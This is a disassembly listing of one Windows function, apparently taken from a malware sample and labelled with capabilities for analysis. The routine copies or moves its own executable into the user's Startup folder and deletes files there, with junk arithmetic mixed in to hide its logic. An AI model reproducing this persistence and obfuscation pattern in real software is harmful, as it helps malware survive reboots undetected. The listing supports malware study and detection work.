Function at 0x40e490
Capabilities:
Copy file
Delete file
Get common file path
Get startup folder
Move file
Write file to startup folder

Disassembly:
sub esp, 0x308
mov eax, dword [0x45f540]
xor eax, esp
mov dword [esp + 0x304], eax
push ebx
push esi
mov esi, dword [0x45dbe4]
mov eax, 0xbf1fa759
imul esi
mov eax, dword [0x45dbd0]
add edx, esi
sar edx, 0x10
mov ecx, edx
push edi
mov edi, dword [0x45dbcc]
lea ebx, [eax + edi]
shr ecx, 0x1f
imul ebx, ebx, 0x10156
add ecx, edx
mov eax, 0x9524e185
imul edi
add edx, edi
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0xca9db4d5
imul esi
add edx, esi
mov esi, dword [0x45dbe0]
sar edx, 0x10
imul esi, esi, 0x8af5
add ebx, edx
mov eax, edx
mov edx, dword [0x45dbdc]
imul edx, edx, 0x3f76
shr eax, 0x1f
add eax, ebx
add edx, ecx
add edx, eax
mov eax, dword [0x45dbc8]
add esi, edx
mov edx, dword [0x45dbd4]
lea edi, [edx + eax]
mov dword [0x45dbdc], esi
imul edi, edi, 0x8ec3
mov esi, dword [0x45dbd8]
mov eax, 0xca9db4d5
imul esi
add edx, esi
sar edx, 0x10
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [str._r_____r____]
sub edi, eax
mov eax, edx
imul eax, eax, 0x14373
add edi, eax
mov eax, 0x39f7b4f
imul edx
sar edx, 0xa
mov ebx, edx
add edi, edx
mov eax, 0x7f55e343
imul esi
sar edx, 0xf
mov eax, edx
shr ebx, 0x1f
shr eax, 0x1f
add ebx, edi
add eax, edx
sub ebx, eax
sub ebx, ecx
push 0
push str.C:Program_FilesMicrosoftSeaPort1.ini
mov dword [0x45dbe4], ebx
call fcn.00430bcd
add esp, 8
cmp eax, 0xffffffff
je 0x40ea90
push 0
push str.C:Program_FilesWindows_NTAccessOries1.ini
call fcn.00430bcd
add esp, 8
cmp eax, 0xffffffff
je 0x40ea90
mov ecx, dword [0x45dbe4]
mov esi, dword [0x45dbe0]
mov eax, 0x9524e185
imul esi, esi, 0x5556
imul ecx
add edx, ecx
sar edx, 0xf
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, ecx
mov ecx, dword [0x45dbd0]
mov eax, 0x32cc2d1b
imul ecx
sar edx, 0xe
add esi, edx
mov edi, edx
mov edx, dword [0x45dbc8]
imul edx, edx, 0x3f76
shr edi, 0x1f
add edi, esi
add edi, edx
mov eax, 0x8116582f
imul ecx
add edx, ecx
sar edx, 0xd
mov esi, edx
add edi, edx
mov eax, 0x3af417
imul ecx
push ebp
sar edx, 5
shr esi, 0x1f
mov eax, edx
push 0x104
add esi, edi
lea ecx, [esp + 0x218]
shr eax, 0x1f
add esi, edx
push ecx
add eax, esi
push 0
mov dword [0x45dbc8], eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x214]
push 0x5c
push edx
call fcn.00431630
mov esi, eax
push str..exe
lea eax, [esp + 0x220]
push eax
lea ecx, [esp + 0x24]
push str._s_s
push ecx
inc esi
call fcn.00430831
mov ecx, dword [0x45dbd8]
mov ebx, dword [0x45dbc8]
mov edx, dword [0x45dbe8]
imul ebx, ebx, 0xdbb5
mov edi, dword [0x45dbdc]
imul edx, edx, 0x156ac
mov eax, ecx
imul eax, eax, 0x156e6
add ebx, edx
add ebx, eax
mov eax, 0xbf1fa759
imul edi
add edx, edi
sar edx, 0x10
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x8116582f
imul ecx
add edx, ecx
add esp, 0x18
sar edx, 0xd
mov edi, edx
mov ecx, dword [0x45dbd0]
mov ebp, dword [0x45dbe4]
add ebx, edx
mov eax, 0x39f7b4f
imul ecx
sar edx, 0xa
shr edi, 0x1f
mov ecx, edx
add edi, ebx
shr ecx, 0x1f
add ecx, edx
push 0
sub edi, ecx
push 0x18
lea edx, [esp + 0x11c]
sub edi, ebp
push edx
sub edi, 0x3f76
push 0
mov dword [0x45dbd0], edi
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [esp + 0x114]
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x40e726
sub eax, ecx
push esi
lea eax, [esp + eax + 0x118]
push 0x44e274
push eax
call fcn.00430831
mov edi, dword [0x45dbe8]
mov esi, dword [0x45dbd4]
mov eax, 0x2fd0003
imul edi
sar edx, 0xa
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0xca9db4d5
imul esi
add edx, esi
sar edx, 0x10
mov ebp, ecx
mov ecx, dword [0x45dbc8]
mov eax, edx
imul ecx, ecx, 0x14373
shr eax, 0x1f
add eax, edx
sub ebp, eax
mov ebx, dword [0x45dbe0]
mov eax, 0x32cc2d1b
imul edi
add ebp, ecx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebp, eax
mov eax, 0x72c3c0b5
imul ebx
imul ebx, ebx, 0x8ec3
mov ecx, edi
imul ecx, ecx, 0x3f76
sub ebp, ecx
sar edx, 0xe
mov ecx, edx
shr ecx, 0x1f
add ebp, edx
add ecx, ebp
mov ebp, dword [sym.imp.KERNEL32.dll_DeleteFileA]
add ecx, ebx
add esp, 0xc
mov dword [0x45dbd8], ecx
xor ebx, ebx
jmp 0x40e7f0
mov ecx, dword [0x45dbd8]
mov esi, dword [0x45dbd4]
mov edi, dword [0x45dbe8]
jmp 0x40e7f0
mov edx, dword [0x45dbd0]
imul esi, esi, 0x156ac
imul ecx, ecx, 0x8af5
lea eax, [edi + edx]
mov edx, dword [0x45dbdc]
imul eax, eax, 0x11aa4
imul edx, edx, 0x3f76
sub eax, esi
sub eax, edx
mov edx, dword [0x45dbcc]
mov dword [esp + 0x10], eax
mov eax, 0x39f7b4f
imul edx
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0x10]
sub edx, eax
add edx, ecx
mov dword [esp + 0x10], edx
mov eax, 0x7f55e343
imul edi
mov eax, dword [esp + 0x10]
sar edx, 0xf
mov ecx, edx
add eax, edx
shr ecx, 0x1f
lea edx, [esp + 0x14]
add ecx, eax
push 0
push edx
mov dword [0x45dbe0], ecx
call fcn.00430bcd
add esp, 8
cmp eax, 0xffffffff
je 0x40e884
lea eax, [esp + 0x14]
push eax
call ebp
inc ebx
cmp ebx, 0x64
jl 0x40e7d5
mov ecx, dword [0x45dbd0]
mov edx, dword [0x45dbd8]
mov edi, dword [0x45dbc8]
lea esi, [edx + ecx]
imul ecx, ecx, 0x14373
mov eax, 0xca9db4d5
imul esi, esi, 0x14289
imul edi
add edx, edi
sar edx, 0x10
mov ebx, edx
add esi, edx
shr ebx, 0x1f
add ebx, esi
mov esi, dword [0x45dbe4]
mov eax, esi
imul eax, eax, 0x3f76
sub ebx, ecx
sub ebx, eax
mov eax, 0x72c3c0b5
imul edi
sar edx, 0xe
add ebx, edx
mov ecx, edx
mov eax, 0x3af417
imul dword [str._r_____r____]
sar edx, 5
shr ecx, 0x1f
mov eax, edx
shr eax, 0x1f
add ecx, ebx
mov ebx, dword [esp + 0x31c]
add eax, edx
sub ecx, eax
test ebx, ebx
mov dword [0x45dbe8], ecx
je 0x40e910
cmp ebx, 2
jne 0x40e9f1
mov edi, dword [sym.imp.KERNEL32.dll_MoveFileExA]
push 4
lea ecx, [esp + 0x118]
push ecx
lea edx, [esp + 0x1c]
push edx
call edi
test eax, eax
jne 0x40e9e5
mov ebx, dword [0x45dbdc]
mov eax, dword [0x45dbe8]
imul ebx, ebx, 0xdbb5
mov ecx, dword [0x45dbd4]
imul eax, eax, 0x156ac
add ebx, eax
mov esi, dword [0x45dbcc]
mov eax, 0xbf1fa759
imul ecx
add edx, ecx
sar edx, 0x10
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0xbf1fa759
imul esi
add edx, esi
sar edx, 0x10
mov ebp, edx
add ebx, edx
mov eax, 0xca9db4d5
imul ecx
add edx, ecx
sar edx, 0x10
shr ebp, 0x1f
mov ecx, edx
add ebp, ebx
add ebp, edx
mov edx, esi
imul edx, edx, 0x14289
shr ecx, 0x1f
add ecx, ebp
add ecx, edx
mov eax, 0x7f55e343
imul esi
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov dword [str._r_____r____], ecx
push 6
lea ecx, [esp + 0x118]
push ecx
lea edx, [esp + 0x1c]
push edx
call edi
mov eax, 0xfffffffe
pop ebp
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x304]
xor ecx, esp
call fcn.0043065d
add esp, 0x308
ret
mov esi, dword [0x45dbe4]
mov ecx, dword [0x45dbe8]
mov edi, dword [0x45dbd4]
imul ecx, ecx, 0x156ac
imul esi, esi, 0x3f76
mov eax, 0x9524e185
imul edi
add edx, edi
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebp, eax
mov eax, 0xca9db4d5
imul edi
add edx, edi
sub ebp, ecx
mov ecx, dword [0x45dbe0]
sar edx, 0x10
imul ecx, ecx, 0x14289
mov edi, edx
shr edi, 0x1f
add ebp, edx
add edi, ebp
add edi, ecx
mov ecx, dword [0x45dbcc]
mov eax, 0x72c3c0b5
imul ecx
sar edx, 0xe
add edi, esi
mov eax, edx
shr eax, 0x1f
add edi, edx
mov edx, dword [str._r_____r____]
add eax, edi
sub eax, edx
add eax, 0x11aa4
cmp ebx, 1
mov dword [0x45dbcc], eax
je 0x40ea74
cmp ebx, 2
jne 0x40ea89
push 0
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0x21c]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
xor eax, eax
jmp 0x40e9cc
mov ecx, dword [esp + 0x310]
pop edi
pop esi
pop ebx
xor ecx, esp
or eax, 0xffffffff
call fcn.0043065d
add esp, 0x308
ret